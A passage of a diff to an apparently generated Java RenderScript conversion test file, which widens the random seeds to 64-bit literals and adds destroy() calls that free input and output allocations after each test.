+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5cfe949818aeba93l, false, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Ulong4Long4(inV, out);
             verifyResultsConvertUlong4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Ulong4Long4: " + e.toString());
         }
@@ -11507,9 +12007,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Ulong4Long4(inV, out);
             verifyResultsConvertUlong4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Ulong4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -11568,11 +12070,12 @@
     }
 
     private void checkConvertDouble2Ulong2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x7e12ff5el, 0.0000000000000000000e+00, 1.8446744073709549568e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x42b56e3b7e12ff5el, 0.0000000000000000000e+00, 1.8446744073709549568e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Double2Ulong2(inV, out);
             verifyResultsConvertDouble2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Double2Ulong2: " + e.toString());
         }
@@ -11580,9 +12083,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Double2Ulong2(inV, out);
             verifyResultsConvertDouble2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Double2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -11636,11 +12141,12 @@
     }
 
     private void checkConvertDouble3Ulong3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x742e203cl, 0.0000000000000000000e+00, 1.8446744073709549568e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x42b73756742e203cl, 0.0000000000000000000e+00, 1.8446744073709549568e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Double3Ulong3(inV, out);
             verifyResultsConvertDouble3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Double3Ulong3: " + e.toString());
         }
@@ -11648,9 +12154,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Double3Ulong3(inV, out);
             verifyResultsConvertDouble3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Double3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -11704,11 +12212,12 @@
     }
 
     private void checkConvertDouble4Ulong4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x6a49411al, 0.0000000000000000000e+00, 1.8446744073709549568e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x42b900716a49411al, 0.0000000000000000000e+00, 1.8446744073709549568e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Double4Ulong4(inV, out);
             verifyResultsConvertDouble4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Double4Ulong4: " + e.toString());
         }
@@ -11716,9 +12225,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Double4Ulong4(inV, out);
             verifyResultsConvertDouble4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Double4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -11777,11 +12288,12 @@
     }
 
     private void checkConvertLong2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xd7d40f65l, false, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x79f1a23ed7d40f65l, false, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Long2Ulong2(inV, out);
             verifyResultsConvertLong2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Long2Ulong2: " + e.toString());
         }
@@ -11789,9 +12301,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Long2Ulong2(inV, out);
             verifyResultsConvertLong2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Long2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -11845,11 +12359,12 @@
     }
 
     private void checkConvertLong3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xcdef3043l, false, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x79f36b59cdef3043l, false, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Long3Ulong3(inV, out);
             verifyResultsConvertLong3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Long3Ulong3: " + e.toString());
         }
@@ -11857,9 +12372,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Long3Ulong3(inV, out);
             verifyResultsConvertLong3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Long3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -11913,11 +12430,12 @@
     }
 
     private void checkConvertLong4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xc40a5121l, false, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x79f53474c40a5121l, false, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Long4Ulong4(inV, out);
             verifyResultsConvertLong4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Long4Ulong4: " + e.toString());
         }
@@ -11925,9 +12443,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Long4Ulong4(inV, out);
             verifyResultsConvertLong4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Long4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -11986,11 +12506,12 @@
     }
 
     private void checkConvertUlong2Ulong2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x73ac2910l, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x9ebfc24673ac2910l, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Ulong2Ulong2(inV, out);
             verifyResultsConvertUlong2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Ulong2Ulong2: " + e.toString());
         }
@@ -11998,9 +12519,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Ulong2Ulong2(inV, out);
             verifyResultsConvertUlong2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Ulong2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -12054,11 +12577,12 @@
     }
 
     private void checkConvertUlong3Ulong3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x69c749eel, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x9ec18b6169c749eel, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Ulong3Ulong3(inV, out);
             verifyResultsConvertUlong3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Ulong3Ulong3: " + e.toString());
         }
@@ -12066,9 +12590,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Ulong3Ulong3(inV, out);
             verifyResultsConvertUlong3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Ulong3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -12122,11 +12648,12 @@
     }
 
     private void checkConvertUlong4Ulong4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5fe26accl, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x9ec3547c5fe26accl, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Ulong4Ulong4(inV, out);
             verifyResultsConvertUlong4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Ulong4Ulong4: " + e.toString());
         }
@@ -12134,9 +12661,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Ulong4Ulong4(inV, out);
             verifyResultsConvertUlong4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Ulong4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -12195,11 +12724,12 @@
     }
 
     private void checkConvertDouble2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x7d6d9a2dl, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x42b4cec67d6d9a2dl, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Double2Float2(inV, out);
             verifyResultsConvertDouble2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Double2Float2: " + e.toString());
         }
@@ -12207,9 +12737,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Double2Float2(inV, out);
             verifyResultsConvertDouble2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Double2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -12264,11 +12796,12 @@
     }
 
     private void checkConvertDouble3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x7388bb0bl, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x42b697e17388bb0bl, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Double3Float3(inV, out);
             verifyResultsConvertDouble3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Double3Float3: " + e.toString());
         }
@@ -12276,9 +12809,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Double3Float3(inV, out);
             verifyResultsConvertDouble3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Double3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -12333,11 +12868,12 @@
     }
 
     private void checkConvertDouble4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x69a3dbe9l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x42b860fc69a3dbe9l, -1.6163412428744576259e+38, 1.6163412428744576259e+38);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Double4Float4(inV, out);
             verifyResultsConvertDouble4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Double4Float4: " + e.toString());
         }
@@ -12345,9 +12881,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Double4Float4(inV, out);
             verifyResultsConvertDouble4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Double4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -12407,11 +12945,12 @@
     }
 
     private void checkConvertLong2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xd72eaa34l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x79f102c9d72eaa34l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Long2Float2(inV, out);
             verifyResultsConvertLong2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Long2Float2: " + e.toString());
         }
@@ -12419,9 +12958,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Long2Float2(inV, out);
             verifyResultsConvertLong2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Long2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -12476,11 +13017,12 @@
     }
 
     private void checkConvertLong3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xcd49cb12l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x79f2cbe4cd49cb12l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Long3Float3(inV, out);
             verifyResultsConvertLong3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Long3Float3: " + e.toString());
         }
@@ -12488,9 +13030,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Long3Float3(inV, out);
             verifyResultsConvertLong3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Long3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -12545,11 +13089,12 @@
     }
 
     private void checkConvertLong4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xc364ebf0l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x79f494ffc364ebf0l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Long4Float4(inV, out);
             verifyResultsConvertLong4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Long4Float4: " + e.toString());
         }
@@ -12557,9 +13102,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Long4Float4(inV, out);
             verifyResultsConvertLong4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Long4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -12619,11 +13166,12 @@
     }
 
     private void checkConvertUlong2Float2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x7306c3dfl, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x9ebf22d17306c3dfl, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Ulong2Float2(inV, out);
             verifyResultsConvertUlong2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Ulong2Float2: " + e.toString());
         }
@@ -12631,9 +13179,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Ulong2Float2(inV, out);
             verifyResultsConvertUlong2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Ulong2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -12688,11 +13238,12 @@
     }
 
     private void checkConvertUlong3Float3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x6921e4bdl, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x9ec0ebec6921e4bdl, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Ulong3Float3(inV, out);
             verifyResultsConvertUlong3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Ulong3Float3: " + e.toString());
         }
@@ -12700,9 +13251,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Ulong3Float3(inV, out);
             verifyResultsConvertUlong3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Ulong3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -12757,11 +13310,12 @@
     }
 
     private void checkConvertUlong4Float4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5f3d059bl, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x9ec2b5075f3d059bl, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Ulong4Float4(inV, out);
             verifyResultsConvertUlong4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Ulong4Float4: " + e.toString());
         }
@@ -12769,9 +13323,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Ulong4Float4(inV, out);
             verifyResultsConvertUlong4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Ulong4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -12831,11 +13387,12 @@
     }
 
     private void checkConvertDouble2Char2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xef094a17l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xcbf84b7bef094a17l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Double2Char2(inV, out);
             verifyResultsConvertDouble2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Double2Char2: " + e.toString());
         }
@@ -12843,9 +13400,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Double2Char2(inV, out);
             verifyResultsConvertDouble2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Double2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -12899,11 +13458,12 @@
     }
 
     private void checkConvertDouble3Char3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x4e110f0bl, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xcbf8561d4e110f0bl, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Double3Char3(inV, out);
             verifyResultsConvertDouble3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Double3Char3: " + e.toString());
         }
@@ -12911,9 +13471,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Double3Char3(inV, out);
             verifyResultsConvertDouble3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Double3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -12967,11 +13529,12 @@
     }
 
     private void checkConvertDouble4Char4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xad18d3ffl, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xcbf860bead18d3ffl, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Double4Char4(inV, out);
             verifyResultsConvertDouble4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Double4Char4: " + e.toString());
         }
@@ -12979,9 +13542,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Double4Char4(inV, out);
             verifyResultsConvertDouble4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Double4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -13040,11 +13605,12 @@
     }
 
     private void checkConvertLong2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x7419afacl, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xb570c3c37419afacl, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Long2Char2(inV, out);
             verifyResultsConvertLong2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Long2Char2: " + e.toString());
         }
@@ -13052,9 +13618,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Long2Char2(inV, out);
             verifyResultsConvertLong2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Long2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -13108,11 +13676,12 @@
     }
 
     private void checkConvertLong3Char3() {
